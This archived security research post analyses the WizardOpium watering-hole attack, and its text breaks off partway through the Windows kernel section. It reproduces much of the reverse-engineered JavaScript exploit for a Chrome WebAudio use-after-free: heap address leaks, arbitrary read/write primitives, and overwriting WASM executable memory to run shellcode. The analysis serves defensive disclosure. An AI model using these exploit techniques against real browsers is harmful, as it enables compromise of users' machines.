{
	"id": "52d5f1c1-c1a7-409d-866c-67e0c0cc4473",
	"created_at": "2026-04-06T01:32:04.299292Z",
	"updated_at": "2026-04-10T03:24:56.993796Z",
	"deleted_at": null,
	"sha1_hash": "79143ed48cfdbc033814f76a95ef258b7b27411e",
	"title": "The zero-day exploits of Operation WizardOpium",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 123418,
	"plain_text": "The zero-day exploits of Operation WizardOpium\r\nBy Boris Larin\r\nPublished: 2020-05-28 · Archived: 2026-04-06 00:34:22 UTC\r\nBack in October 2019 we detected a classic watering-hole attack on a North Korea-related news site that exploited\r\na chain of Google Chrome and Microsoft Windows zero-days. While we’ve already published blog posts briefly\r\ndescribing this operation (available here and here), in this blog post we’d like to take a deep technical dive into the\r\nexploits and vulnerabilities used in this attack.\r\nGoogle Chrome remote code execution exploit\r\nIn the original blog post we described the exploit loader responsible for initial validation of the target and\r\nexecution of the next stage JavaScript code containing the full browser exploit. The exploit is huge because,\r\nbesides code, it contains byte arrays with shellcode, a Portable Executable (PE) file and WebAssembly (WASM)\r\nmodule used in the later stages of exploitation. The exploit abused a vulnerability in the WebAudio\r\nOfflineAudioContext interface and was targeting two release builds of Google Chrome 76.0.3809.87 and\r\n77.0.3865.75. However, the vulnerability was introduced long before that and much earlier releases with a\r\nWebAudio component are also vulnerable. At the time of our discovery the current version of Google Chrome was\r\n78, and while this version was also affected, the exploit did not support it and had a number of checks to ensure\r\nthat it would only be executed on affected versions to prevent crashes. After our report, the vulnerability was\r\nassigned CVE-2019-13720 and was fixed in version 78.0.3904.87 with the following commit. A use-after-free\r\n(UAF) vulnerability, it could be triggered due to a race condition between the Render and Audio threads:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n   if (!buffer) {\r\n+ BaseAudioContext::GraphAutoLocker context_locker(Context());\r\n+ MutexLocker locker(process_lock_);\r\nreverb_.reset();\r\nshared_buffer_ = nullptr;\r\nreturn;\r\nAs you can see, when the audio buffer is set to null in ConvolverNode and an active buffer already exists within\r\nthe Reverb object, the function SetBuffer() can destroy reverb_ and shared_buffer_ objects.\r\n1 class MODULES_EXPORT ConvolverHandler final : public AudioHandler {\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 1 of 25\n\n2\r\n3\r\n4\r\n5\r\n...\r\n  std::unique_ptr\u003cReverb\u003e reverb_;\r\n  std::unique_ptr\u003cSharedAudioBuffer\u003e shared_buffer_;\r\n...\r\nThese objects might still be in use by the Render thread because there is no proper synchronization between the\r\ntwo threads in the code. A patch added two missing locks (graph lock and process lock) for when the buffer is\r\nnullified.\r\nThe exploit code was obfuscated, but we were able to fully reverse engineer it and reveal all the small details. By\r\nlooking at the code, we can see the author of the exploit has excellent knowledge of the internals of specific\r\nGoogle Chrome components, especially the PartitionAlloc memory allocator. This can clearly be seen from the\r\nsnippets of reverse engineered code below. These functions are used in the exploit to retrieve useful information\r\nfrom internal structures of the allocator, including: SuperPage address, PartitionPage address by index inside the\r\nSuperPage, the index of the used PartitionPage and the address of PartitionPage metadata. All constants are taken\r\nfrom partition_alloc_constants.h:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\nfunction getSuperPageBase(addr) {\r\nlet superPageOffsetMask = (BigInt(1) \u003c\u003c BigInt(21)) - BigInt(1);\r\nlet superPageBaseMask = ~superPageOffsetMask;\r\nlet superPageBase = addr \u0026 superPageBaseMask;\r\nreturn superPageBase;\r\n}\r\nfunction getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {\r\nlet superPageBase = getSuperPageBase(addr);\r\nlet partitionPageBase = partitionPageIndex \u003c\u003c BigInt(14);\r\nlet finalAddr = superPageBase + partitionPageBase;\r\nreturn finalAddr;\r\n}\r\nfunction getPartitionPageIndex(addr) {\r\nlet superPageOffsetMask = (BigInt(1) \u003c\u003c BigInt(21)) - BigInt(1);\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 2 of 25\n\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\nlet partitionPageIndex = (addr \u0026 superPageOffsetMask) \u003e\u003e BigInt(14);\r\nreturn partitionPageIndex;\r\n}\r\nfunction getMetadataAreaBaseFromPartitionSuperPage(addr) {\r\nlet superPageBase = getSuperPageBase(addr);\r\nlet systemPageSize = BigInt(0x1000);\r\nreturn superPageBase + systemPageSize;\r\n}\r\nfunction getPartitionPageMetadataArea(addr) {\r\nlet superPageOffsetMask = (BigInt(1) \u003c\u003c BigInt(21)) - BigInt(1);\r\nlet partitionPageIndex = (addr \u0026 superPageOffsetMask) \u003e\u003e BigInt(14);\r\nlet pageMetadataSize = BigInt(0x20);\r\nlet partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) +\r\npartitionPageIndex * pageMetadataSize;\r\nreturn partitionPageMetadataPtr;\r\n}\r\nIt’s interesting that the exploit also uses the relatively new built-in BigInt class to handle 64-bit values; authors\r\nusually use their own primitives in exploits.\r\nAt first, the code initiates OfflineAudioContext and creates a huge number of IIRFilterNode objects that are\r\ninitialized via two float arrays.\r\n1\r\n2\r\n3\r\nlet gcPreventer = [];\r\nlet iirFilters = [];\r\nfunction initialSetup() {\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 3 of 25\n\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\nlet audioCtx = new OfflineAudioContext(1, 20, 3000);\r\nlet feedForward = new Float64Array(2);\r\nlet feedback = new Float64Array(1);\r\nfeedback[0] = 1;\r\nfeedForward[0] = 0;\r\nfeedForward[1] = -1;\r\nfor (let i = 0; i \u003c 256; i++)\r\n        iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));\r\n}\r\nAfter that, the exploit begins the initial stage of exploitation and tries to trigger a UAF bug. For that to work the\r\nexploit creates the objects that are needed for the Reverb component. It creates another huge OfflineAudioContext\r\nobject and two ConvolverNode objects – ScriptProcessorNode to start audio processing and AudioBuffer for the\r\naudio channel.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\nasync function triggerUaF(doneCb) {\r\nlet audioCtx = new OfflineAudioContext(2, 0x400000, 48000);\r\nlet bufferSource = audioCtx.createBufferSource();\r\nlet convolver = audioCtx.createConvolver();\r\nlet scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);\r\nlet channelBuffer = audioCtx.createBuffer(1, 1, 48000);\r\nconvolver.buffer = channelBuffer;\r\nbufferSource.buffer = channelBuffer;\r\nbufferSource.loop = true;\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 4 of 25\n\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\nbufferSource.loopStart = 0;\r\nbufferSource.loopEnd = 1;\r\nchannelBuffer.getChannelData(0).fill(0);\r\nbufferSource.connect(convolver);\r\nconvolver.connect(scriptNode);\r\nscriptNode.connect(audioCtx.destination);\r\nbufferSource.start();\r\nlet finished = false;\r\nscriptNode.onaudioprocess = function(evt) {\r\n     let channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);\r\n     for (let j = 0; j \u003c channelDataArray.length; j++) {\r\n         if (j + 1 \u003c channelDataArray.length \u0026\u0026 channelDataArray[j] != 0 \u0026\u0026 channelDataArray[j + 1] !=\r\n0) {\r\n             let u64Array = new BigUint64Array(1);\r\n             let u32Array = new Uint32Array(u64Array.buffer);\r\n             u32Array[0] = channelDataArray[j + 0];\r\n             u32Array[1] = channelDataArray[j + 1];\r\n             let leakedAddr = byteSwapBigInt(u64Array[0]);\r\n             if (leakedAddr \u003e\u003e BigInt(32) \u003e BigInt(0x8000))\r\n                 leakedAddr -= BigInt(0x800000000000);\r\n             let superPageBase = getSuperPageBase(leakedAddr);\r\n             if (superPageBase \u003e BigInt(0xFFFFFFFF) \u0026\u0026 superPageBase \u003c BigInt(0xFFFFFFFFFFFF)) {\r\n                 finished = true;\r\n                 evt = null;\r\n                 bufferSource.disconnect();\r\n                 scriptNode.disconnect();\r\n                 convolver.disconnect();\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 5 of 25\n\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\n57\r\n58\r\n59\r\n60\r\n61\r\n                 setTimeout(function() {\r\n                     doneCb(leakedAddr);\r\n                 }, 1);\r\n                 return;\r\n             }\r\n         }\r\n     }\r\n};\r\naudioCtx.startRendering().then(function(buffer) {\r\n     buffer = null;\r\n     if (!finished) {\r\n         finished = true;\r\n          triggerUaF(doneCb);\r\n     }\r\n});\r\nwhile (!finished) {\r\n     convolver.buffer = null;\r\n     convolver.buffer = channelBuffer;\r\n     await later(100); // wait 100 millseconds\r\n}\r\n};\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 6 of 25\n\n62\r\n63\r\n64\r\n65\r\n66\r\n67\r\n68\r\n69\r\n70\r\n71\r\n72\r\nThis function is executed recursively. It fills the audio channel buffer with zeros, starts rendering offline and at the\r\nsame time runs a loop that nullifies and resets the channel buffer of the ConvolverNode object and tries to trigger\r\na bug. The exploit uses the later() function to simulate the Sleep function, suspend the current thread and let the\r\nRender and Audio threads finish execution right on time:\r\n1\r\n2\r\n3\r\nfunction later(delay) {\r\nreturn new Promise(resolve =\u003e setTimeout(resolve, delay));\r\n}\r\nDuring execution the exploit checks if the audio channel buffer contains any data that differs from the previously\r\nset zeroes. The existence of such data would mean the UAF was triggered successfully and at this stage the audio\r\nchannel buffer should contain a leaked pointer.\r\nThe PartitionAlloc memory allocator has a special exploit mitigation that works as follows: when the memory\r\nregion is freed, it byteswaps the address of the pointer and after that the byteswapped address is added to the\r\nFreeList structure. This complicates exploitation because the attempt to dereference such a pointer will crash the\r\nprocess. To bypass this technique the exploit uses the following primitive that simply swaps the pointer back:\r\n1\r\n2\r\nfunction byteSwapBigInt(x) {\r\nlet result = BigInt(0);\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 7 of 25\n\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\nlet tmp = x;\r\nfor (let i = 0; i \u003c 8; i++) {\r\n     result = result \u003c\u003c BigInt(8);\r\n     result += tmp \u0026 BigInt(0xFF);\r\n     tmp = tmp \u003e\u003e BigInt(8);\r\n}\r\nreturn result;\r\n}\r\nThe exploit uses the leaked pointer to get the address of the SuperPage structure and verifies it. If everything goes\r\nto plan, then it should be a raw pointer to a temporary_buffer_ object of the ReverbConvolverStage class that is\r\npassed to the callback function initialUAFCallback.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\nlet sharedAudioCtx;\r\nlet iirFilterFeedforwardAllocationPtr;\r\nfunction initialUAFCallback(addr) {\r\nsharedAudioCtx = new OfflineAudioContext(1, 1, 3000);\r\nlet partitionPageIndexDelta = undefined;\r\nswitch (majorVersion) {\r\n     case 77: // 77.0.3865.75\r\n         partitionPageIndexDelta = BigInt(-26);\r\n         break;\r\n     case 76: // 76.0.3809.87\r\n         partitionPageIndexDelta = BigInt(-25);\r\n          break;\r\n}\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 8 of 25\n\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\niirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr,\r\ngetPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);\r\n    triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAFCallback);\r\n}\r\nThe exploit uses the leaked pointer to get the address of the raw pointer to the feedforward_ array with the\r\nAudioArray\u003cdouble\u003e type that is present in the IIRProcessor object created with IIRFilterNode. This array should\r\nbe located in the same SuperPage, but in different versions of Chrome this object is created in different\r\nPartitionPages and there is a special code inside initialUAFCallback to handle that.\r\nThe vulnerability is actually triggered not once but twice. After the address of the right object is acquired, the\r\nvulnerability is exploited again. This time the exploit uses two AudioBuffer objects of different sizes, and the\r\npreviously retrieved address is sprayed inside the larger AudioBuffer. This function also executes recursively.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\nlet floatArray = new Float32Array(10);\r\nlet audioBufferArray1 = [];\r\nlet audioBufferArray2 = [];\r\nlet imageDataArray = [];\r\nasync function triggerSecondUAF(addr, doneCb) {\r\nlet counter = 0;\r\nlet numChannels = 1;\r\nlet audioCtx = new OfflineAudioContext(1, 0x100000, 48000);\r\nlet bufferSource = audioCtx.createBufferSource();\r\nlet convolver = audioCtx.createConvolver();\r\nlet bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);\r\nlet smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);\r\nsmallAudioBuffer.getChannelData(0).fill(0);\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 9 of 25\n\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\nfor (let i = 0; i \u003c numChannels; i++) {\r\n     let channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);\r\n     channelDataArray[0] = addr;\r\n}\r\nbufferSource.buffer = bigAudioBuffer;\r\nconvolver.buffer = smallAudioBuffer;\r\nbufferSource.loop = true;\r\nbufferSource.loopStart = 0;\r\nbufferSource.loopEnd = 1;\r\nbufferSource.connect(convolver);\r\nconvolver.connect(audioCtx.destination);\r\nbufferSource.start();\r\nlet finished = false;\r\n     audioCtx.startRendering().then(function(buffer) {\r\n     buffer = null;\r\n     if (finished) {\r\n         audioCtx = null;\r\n         setTimeout(doneCb, 200);\r\n         return;\r\n     } else {\r\n         finished = true;\r\n         setTimeout(function() {\r\n             triggerSecondUAF(addr, doneCb);\r\n         }, 1);\r\n     }\r\n});\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 10 of 25\n\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\n57\r\n58\r\n59\r\n60\r\n61\r\n62\r\n63\r\n64\r\n65\r\nwhile (!finished) {\r\n     counter++;\r\n     convolver.buffer = null;\r\n     await later(1); // wait 1 millisecond\r\n     if (finished)\r\n         break;\r\n     for (let i = 0; i \u003c iirFilters.length; i++) {\r\n         floatArray.fill(0);\r\n              iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);\r\n         if (floatArray[0] != 3.1415927410125732) {\r\n             finished = true;\r\n                  audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));\r\n                 audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));\r\n             bufferSource.disconnect();\r\n             convolver.disconnect();\r\n             return;\r\n         }\r\n     }\r\n     convolver.buffer = smallAudioBuffer;\r\n     await later(1); // wait 1 millisecond\r\n}\r\n}\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 11 of 25\n\n66\r\n67\r\n68\r\n69\r\n70\r\n71\r\n72\r\n73\r\n74\r\n75\r\n76\r\n77\r\n78\r\n79\r\n80\r\n81\r\n82\r\n83\r\n84\r\n85\r\n86\r\n87\r\nThis time the exploit uses the function getFrequencyResponse() to check if exploitation was successful. The\r\nfunction creates an array of frequencies that is filled with a Nyquist filter and the source array for the operation is\r\nfilled with zeroes.\r\n1 void IIRDSPKernel::GetFrequencyResponse(int n_frequencies,\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 12 of 25\n\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n                                     const float* frequency_hz,\r\n                                     float* mag_response,\r\n                                     float* phase_response) {\r\n...\r\n  Vector\u003cfloat\u003e frequency(n_frequencies);\r\n  double nyquist = this-\u003eNyquist();\r\n  // Convert from frequency in Hz to normalized frequency (0 -\u003e 1),\r\n  // with 1 equal to the Nyquist frequency.\r\n  for (int k = 0; k \u003c n_frequencies; ++k)\r\nfrequency[k] = frequency_hz[k] / nyquist;\r\n...\r\nIf the resulting array contains a value other than π, it means exploitation was successful. If that’s the case, the\r\nexploit stops its recursion and executes the function finalUAFCallback to allocate the audio channel buffer again\r\nand reclaim the previously freed memory. This function also repairs the heap to prevent possible crashes by\r\nallocating various objects of different sizes and performing defragmentation of the heap. The exploit also creates\r\nBigUint64Array, which is used later to create an arbitrary read/write primitive.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\nasync function finalUAFCallback() {\r\nfor (let i = 0; i \u003c 256; i++) {\r\n     floatArray.fill(0);\r\n         iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);\r\n     if (floatArray[0] != 3.1415927410125732) {\r\n         await collectGargabe();\r\n         audioBufferArray2 = [];\r\n         for (let j = 0; j \u003c 80; j++)\r\n                 audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));\r\n         iirFilters = new Array(1);\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 13 of 25\n\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n          await collectGargabe();\r\n         for (let j = 0; j \u003c 336; j++)\r\n             imageDataArray.push(new ImageData(1, 2));\r\n         imageDataArray = new Array(10);\r\n         await collectGargabe();\r\n         for (let j = 0; j \u003c audioBufferArray1.length; j++) {\r\n             let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);\r\n             if (auxArray[0] != BigInt(0)) {\r\n                 kickPayload(auxArray);\r\n                 return;\r\n             }\r\n             }\r\n         return;\r\n     }\r\n}\r\n}\r\nHeap defragmentation is performed with multiple calls to the improvised collectGarbage function that creates a\r\nhuge ArrayBuffer in a loop.\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 14 of 25\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\nfunction collectGargabe() {\r\nlet promise = new Promise(function(cb) {\r\n     let arg;\r\n     for (let i = 0; i \u003c 400; i++)\r\n         new ArrayBuffer(1024 * 1024 * 60).buffer;\r\n     cb(arg);\r\n});\r\nreturn promise;\r\n}\r\nAfter those steps, the exploit executes the function kickPayload() passing the previously created BigUint64Array\r\ncontaining the raw pointer address of the previously freed AudioArray’s data.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\nasync function kickPayload(auxArray) {\r\nlet audioCtx = new OfflineAudioContext(1, 1, 3000);\r\nlet partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));\r\nauxArray[0] = byteSwapBigInt(partitionPagePtr);\r\nlet i = 0;\r\ndo {\r\n     gcPreventer.push(new ArrayBuffer(8));\r\n     if (++i \u003e 0x100000)\r\n         return;\r\n} while (auxArray[0] != BigInt(0));\r\nlet freelist = new BigUint64Array(new ArrayBuffer(8));\r\ngcPreventer.push(freelist);\r\n...\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 15 of 25\n\nThe exploit manipulates the PartitionPage metadata of the freed object to achieve the following behavior. If the\r\naddress of another object is written in BigUint64Array at index zero and if a new 8-byte object is created and the\r\nvalue located at index 0 is read back, then a value located at the previously set address will be read. If something\r\nis written at index 0 at this stage, then this value will be written to the previously set address instead.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\nfunction read64(rwHelper, addr) {\r\nrwHelper[0] = addr;\r\nvar tmp = new BigUint64Array;\r\ntmp.buffer;\r\ngcPreventer.push(tmp);\r\nreturn byteSwapBigInt(rwHelper[0]);\r\n}\r\nfunction write64(rwHelper, addr, value) {\r\nrwHelper[0] = addr;\r\nvar tmp = new BigUint64Array(1);\r\ntmp.buffer;\r\ntmp[0] = value;\r\ngcPreventer.push(tmp);\r\n}\r\nAfter the building of the arbitrary read/write primitives comes the final stage – executing the code. The exploit\r\nachieves this by using a popular technique that exploits the Web Assembly (WASM) functionality. Google\r\nChrome currently allocates pages for just-in-time (JIT) compiled code with read/write/execute (RWX) privileges\r\nand this can be used to overwrite them with shellcode. At first, the exploit initiates a “stub” WASM module and it\r\nresults in the allocation of memory pages for JIT compiled code.\r\n1\r\n2\r\n3\r\nconst wasmBuffer = new Uint8Array([...]);\r\nconst wasmBlob = new Blob([wasmBuffer], {\r\ntype: \"application/wasm\"\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 16 of 25\n\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n});\r\nconst wasmUrl = URL.createObjectURL(wasmBlob);\r\nvar wasmFuncA = undefined;\r\nWebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {\r\nwasmFuncA = result.instance.exports.a;\r\n});\r\nTo execute the exported function wasmFuncA, the exploit creates a FileReader object. When this object is initiated\r\nwith data it creates a FileReaderLoader object internally. If you can parse PartitionAlloc allocator structures and\r\nknow the size of the next object that will be allocated, you can predict which address it will be allocated to. The\r\nexploit uses the getPartitionPageFreeListHeadEntryBySlotSize() function with the provided size and gets the\r\naddress of the next free block that will be allocated by FileReaderLoader.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\nlet fileReader = new FileReader;\r\nlet fileReaderLoaderSize = 0x140;\r\nlet fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist,\r\niirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);\r\nif (!fileReaderLoaderPtr)\r\nreturn;\r\nfileReader.readAsArrayBuffer(new Blob([]));\r\nlet fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist,\r\niirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);\r\nif (fileReaderLoaderPtr == fileReaderLoaderTestPtr)\r\nreturn;\r\nThe exploit obtains this address twice to find out if the FileReaderLoader object was created and if the exploit can\r\ncontinue execution. The exploit sets the exported WASM function to be a callback for a FileReader event (in this\r\ncase, an onerror callback) and because the FileReader type is derived from EventTargetWithInlineData, it can be\r\nused to get the addresses of all its events and the address of the JIT compiled exported WASM function.\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 17 of 25\n\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 18 of 25\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\nfileReader.onerror = wasmFuncA;\r\nlet fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);\r\nlet vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));\r\nlet registeredEventListenerPtr = read64(freelist, vectorPtr);\r\nlet eventListenerPtr = read64(freelist, registeredEventListenerPtr);\r\nlet eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));\r\nlet jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));\r\nlet jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);\r\nlet sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);\r\nlet wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);\r\nlet wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);\r\nlet stubAddrFieldOffset = undefined;\r\nswitch (majorVersion) {\r\ncase 77:\r\n     stubAddrFieldOffset = BigInt(0x8) * BigInt(16);\r\nbreak;\r\ncase 76:\r\n     stubAddrFieldOffset = BigInt(0x8) * BigInt(17);\r\nbreak\r\n}\r\nlet stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 19 of 25\n\nThe variable stubAddr contains the address of the page with the stub code that jumps to the JIT compiled WASM\r\nfunction. At this stage it’s sufficient to overwrite it with shellcode. To do so, the exploit uses the function\r\ngetPartitionPageFreeListHeadEntryBySlotSize() again to find the next free block of 0x20 bytes, which is the size\r\nof the structure for the ArrayBuffer object. This object is created when the exploit creates a new audio buffer.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\nlet arrayBufferSize = 0x20;\r\nlet arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist,\r\niirFilterFeedforwardAllocationPtr, arrayBufferSize);\r\nif (!arrayBufferPtr)\r\nreturn;\r\nlet audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);\r\ngcPreventer.push(audioBuffer);\r\nThe exploit uses arbitrary read/write primitives to get the address of the DataHolder class that contains the raw\r\npointer to the data and size of the audio buffer. The exploit overwrites this pointer with stubAddr and sets a huge\r\nsize.\r\n1\r\n2\r\n3\r\n4\r\nlet dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));\r\nwrite64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);\r\nwrite64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));\r\nNow all that’s needed is to implant a Uint8Array object into the memory of this audio buffer and place shellcode\r\nthere along with the Portable Executable that will be executed by the shellcode.\r\n1\r\n2\r\n3\r\nlet payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);\r\npayloadArray.set(shellcode, 0);\r\npayloadArray.set(peBinary, shellcode.length);\r\nTo prevent the possibility of a crash the exploit clears the pointer to the top of the FreeList structure used by the\r\nPartitionPage.\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 20 of 25\n\n1 write64(freelist, partitionPagePtr, BigInt(0));\r\nNow, in order to execute the shellcode, it’s enough to call the exported WASM function.\r\n1\r\n2\r\n3\r\ntry {\r\nwasmFuncA();\r\n} catch (e) {}\r\nMicrosoft Windows elevation of privilege exploit\r\nThe shellcode appeared to be a Reflective PE loader for the Portable Executable module that was also present in\r\nthe exploit. This module mostly consisted of the code to escape Google Chrome’s sandbox by exploiting the\r\nWindows kernel component win32k for the elevation of privileges and it was also responsible for downloading\r\nand executing the actual malware. On closer analysis, we found that the exploited vulnerability was in fact a zero-day. We notified Microsoft Security Response Center and they assigned it CVE-2019-1458 and fixed the\r\nvulnerability. The win32k component has something of bad reputation. It has been present since Windows NT 4.0\r\nand, according to Microsoft, it is responsible for more than 50% of all kernel security bugs. In the last two years\r\nalone Kaspersky has found five zero-days in the wild that exploited win32k vulnerabilities. That’s quite an\r\ninteresting statistic considering that since the release of Windows 10, Microsoft has implemented a number of\r\nmitigations aimed at complicating exploitation of win32k vulnerabilities and the majority of zero-days that we\r\nfound exploited versions of Microsoft Windows prior to the release of Windows 10 RS4. The elevation of\r\nprivilege exploit used in Operation WizardOpium was built to support Windows 7, Windows 10 build 10240 and\r\nWindows 10 build 14393. It’s also important to note that Google Chrome has a special security feature called\r\nWin32k lockdown. This security feature eliminates the whole win32k attack surface by disabling access to win32k\r\nsyscalls from inside Chrome processes. Unfortunately, Win32k lockdown is only supported on machines running\r\nWindows 10. So, it’s fair to assume that Operation WizardOpium targeted users running Windows 7.\r\nCVE-2019-1458 is an Arbitrary Pointer Dereference vulnerability. In win32k Window objects are represented by a\r\ntagWND structure. There are also a number of classes based on this structure: ScrollBar, Menu, Listbox, Switch\r\nand many others. The FNID field of tagWND structure is used to distinguish the type of class. Different classes\r\nalso have various extra data appended to the tagWND structure. This extra data is basically just different\r\nstructures that often include kernel pointers. Besides that, in the win32k component there’s a syscall\r\nSetWindowLongPtr that can be used to set this extra data (after validation of course). It’s worth noting that\r\nSetWindowLongPtr was related to a number of vulnerabilities in the past (e.g., CVE-2010-2744, CVE-2016-7255,\r\nand CVE-2019-0859). There’s a common issue when pre-initialized extra data can lead to system procedures\r\nincorrectly handling. In the case of CVE-2019-1458, the validation performed by SetWindowLongPtr was just\r\ninsufficient.\r\nhttps://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/\r\nPage 21 of 